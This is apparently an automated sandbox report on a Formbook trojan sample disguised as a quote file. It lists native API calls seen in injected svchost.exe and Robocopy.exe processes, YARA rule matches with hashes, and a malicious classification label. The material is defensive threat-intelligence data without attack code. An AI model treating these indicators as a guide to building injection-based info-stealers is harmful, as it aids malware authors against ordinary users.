Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048339B0 NtGetContextThread,LdrInitializeThunk,	4_2_048339B0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832AD0 NtReadFile,LdrInitializeThunk,	4_2_04832AD0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832AF0 NtWriteFile,LdrInitializeThunk,	4_2_04832AF0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832BA0 NtEnumerateValueKey,LdrInitializeThunk,	4_2_04832BA0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832BE0 NtQueryValueKey,LdrInitializeThunk,	4_2_04832BE0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	4_2_04832BF0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832B60 NtClose,LdrInitializeThunk,	4_2_04832B60
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04833090 NtSetValueKey,	4_2_04833090
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04833010 NtOpenDirectoryObject,	4_2_04833010
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832CC0 NtQueryVirtualMemory,	4_2_04832CC0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832CF0 NtOpenProcess,	4_2_04832CF0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832C00 NtQueryInformationProcess,	4_2_04832C00
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832DB0 NtEnumerateKey,	4_2_04832DB0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832D00 NtSetInformationFile,	4_2_04832D00
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04833D10 NtOpenProcessToken,	4_2_04833D10
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04833D70 NtOpenThread,	4_2_04833D70
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832EA0 NtAdjustPrivilegesToken,	4_2_04832EA0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832E30 NtWriteVirtualMemory,	4_2_04832E30
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832F90 NtProtectVirtualMemory,	4_2_04832F90
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832FA0 NtQuerySection,	4_2_04832FA0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832F60 NtCreateProcessEx,	4_2_04832F60
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832AB0 NtWaitForSingleObject,	4_2_04832AB0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04832B80 NtQueryInformationFile,	4_2_04832B80
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_00829450 NtCreateFile,	4_2_00829450
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_008295C0 NtReadFile,	4_2_008295C0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_008296C0 NtDeleteFile,	4_2_008296C0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_00829770 NtClose,	4_2_00829770
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_008298E0 NtAllocateVirtualMemory,	4_2_008298E0

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418D03	2_2_00418D03
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004011E0	2_2_004011E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402A5C	2_2_00402A5C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402A60	2_2_00402A60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042F463	2_2_0042F463
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403415	2_2_00403415
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403420	2_2_00403420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041052A	2_2_0041052A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00410533	2_2_00410533
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416EE3	2_2_00416EE3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00410753	2_2_00410753
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402700	2_2_00402700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E7D3	2_2_0040E7D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F132D	2_2_030F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302D34C	2_2_0302D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FA352	2_2_030FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0308739A	2_2_0308739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E3F0	2_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031003E6	2_2_031003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030452A0	2_2_030452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305B2C0	2_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030100	2_2_03030100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DA118	2_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C8158	2_2_030C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0307516C	2_2_0307516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0310B16B	2_2_0310B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304B1B0	2_2_0304B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031001AA	2_2_031001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F81CC	2_2_030F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EF0CC	2_2_030EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F70E9	2_2_030F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FF0E0	2_2_030FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03064750	2_2_03064750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FF7B0	2_2_030FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303C7C0	2_2_0303C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F16CC	2_2_030F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305C6E0	2_2_0305C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040535	2_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F7571	2_2_030F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03100591	2_2_03100591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DD5B0	2_2_030DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FF43F	2_2_030FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F2446	2_2_030F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03031460	2_2_03031460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EE4F6	2_2_030EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FAB40	2_2_030FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FFB76	2_2_030FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305FB80	2_2_0305FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F6BD7	2_2_030F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B5BF0	2_2_030B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0307DBF9	2_2_0307DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FFA49	2_2_030FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F7A46	2_2_030F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B3A6C	2_2_030B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DDAAC	2_2_030DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03085AA0	2_2_03085AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EDAC6	2_2_030EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03049950	2_2_03049950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305B950	2_2_0305B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03056962	2_2_03056962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0310A9A6	2_2_0310A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AD800	2_2_030AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03042840	2_2_03042840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304A840	2_2_0304A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030268B8	2_2_030268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030438E0	2_2_030438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E8F0	2_2_0306E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FFF09	2_2_030FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03082F28	2_2_03082F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03060F30	2_2_03060F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B4F40	2_2_030B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041F92	2_2_03041F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FFFB1	2_2_030FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03032FC8	2_2_03032FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304CFE0	2_2_0304CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FEE26	2_2_030FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040E59	2_2_03040E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03052E90	2_2_03052E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FCE93	2_2_030FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03049EB0	2_2_03049EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FEEDB	2_2_030FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304AD00	2_2_0304AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03043D40	2_2_03043D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F1D5A	2_2_030F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F7D73	2_2_030F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03058DBF	2_2_03058DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305FDC0	2_2_0305FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303ADE0	2_2_0303ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040C00	2_2_03040C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B9C32	2_2_030B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0CB5	2_2_030E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030CF2	2_2_03030CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FFCF2	2_2_030FFCF2
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_047F1460	4_2_047F1460
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048AE4F6	4_2_048AE4F6
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048BF43F	4_2_048BF43F
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048B2446	4_2_048B2446
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048C0591	4_2_048C0591
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0489D5B0	4_2_0489D5B0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04800535	4_2_04800535
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048B7571	4_2_048B7571
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048B16CC	4_2_048B16CC
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0481C6E0	4_2_0481C6E0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048BF7B0	4_2_048BF7B0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_047FC7C0	4_2_047FC7C0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04824750	4_2_04824750
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04800770	4_2_04800770
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048070C0	4_2_048070C0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048AF0CC	4_2_048AF0CC
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048B70E9	4_2_048B70E9
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048BF0E0	4_2_048BF0E0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_047EF172	4_2_047EF172
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048C01AA	4_2_048C01AA
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0480B1B0	4_2_0480B1B0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048B81CC	4_2_048B81CC
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_047F0100	4_2_047F0100
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0489A118	4_2_0489A118
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048CB16B	4_2_048CB16B
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0483516C	4_2_0483516C
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048052A0	4_2_048052A0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0481B2C0	4_2_0481B2C0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048A12ED	4_2_048A12ED
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048A0274	4_2_048A0274
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0484739A	4_2_0484739A
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_047ED34C	4_2_047ED34C
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048C03E6	4_2_048C03E6
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0480E3F0	4_2_0480E3F0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048B132D	4_2_048B132D
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048BA352	4_2_048BA352
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048A0CB5	4_2_048A0CB5
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048BFCF2	4_2_048BFCF2
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04800C00	4_2_04800C00
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_047F0CF2	4_2_047F0CF2
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04879C32	4_2_04879C32
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04818DBF	4_2_04818DBF
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0481FDC0	4_2_0481FDC0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0480AD00	4_2_0480AD00
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_047FADE0	4_2_047FADE0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04803D40	4_2_04803D40
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048B1D5A	4_2_048B1D5A
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048B7D73	4_2_048B7D73
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04812E90	4_2_04812E90
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048BCE93	4_2_048BCE93
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04809EB0	4_2_04809EB0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048BEEDB	4_2_048BEEDB
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048BEE26	4_2_048BEE26
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04800E59	4_2_04800E59
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04801F92	4_2_04801F92
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048BFFB1	4_2_048BFFB1
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0480CFE0	4_2_0480CFE0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048BFF09	4_2_048BFF09
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04820F30	4_2_04820F30
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_047F2FC8	4_2_047F2FC8
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04874F40	4_2_04874F40
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048038E0	4_2_048038E0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0482E8F0	4_2_0482E8F0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04802840	4_2_04802840
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0480A840	4_2_0480A840
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_047E68B8	4_2_047E68B8
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048029A0	4_2_048029A0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048CA9A6	4_2_048CA9A6
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04809950	4_2_04809950
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0481B950	4_2_0481B950
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04816962	4_2_04816962
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04845AA0	4_2_04845AA0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0489DAAC	4_2_0489DAAC
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048ADAC6	4_2_048ADAC6
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048BFA49	4_2_048BFA49
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048B7A46	4_2_048B7A46
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_04873A6C	4_2_04873A6C
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_047FEA80	4_2_047FEA80
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0481FB80	4_2_0481FB80
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048B6BD7	4_2_048B6BD7
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0483DBF9	4_2_0483DBF9
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048BAB40	4_2_048BAB40
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_048BFB76	4_2_048BFB76
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_00811FA0	4_2_00811FA0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0080D0B0	4_2_0080D0B0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0080B130	4_2_0080B130
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_00815660	4_2_00815660
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_00813840	4_2_00813840
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0082BDC0	4_2_0082BDC0
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0080CE87	4_2_0080CE87
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0080CE90	4_2_0080CE90
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_046BE775	4_2_046BE775
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_046BD7D8	4_2_046BD7D8
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_046BE2B8	4_2_046BE2B8
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_046BE3D3	4_2_046BE3D3
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_046BCA83	4_2_046BCA83
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 7_2_000002D1067CA2B8	7_2_000002D1067CA2B8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 7_2_000002D1067CA775	7_2_000002D1067CA775
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 7_2_000002D1067C97D8	7_2_000002D1067C97D8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 7_2_000002D1067CA3D3	7_2_000002D1067CA3D3
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 7_2_000002D1067C8A83	7_2_000002D1067C8A83

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 030AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0302B970 appears 268 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 030BF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03075130 appears 36 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03087E54 appears 96 times
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: String function: 04835130 appears 36 times
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: String function: 0486EA12 appears 84 times
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: String function: 047EB970 appears 266 times
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: String function: 04847E54 appears 88 times
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: String function: 0487F290 appears 105 times

Source: Quote #270924.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.3984885805.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2272902332.0000000000C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2272128880.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.3985113849.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.3986045977.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2275425308.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.3986013036.0000000002C50000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@12/9

Source: C:\Users\user\Desktop\Quote #270924.exe

File created: C:\Users\user\AppData\Local\Temp\recomplete

Source: Quote #270924.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

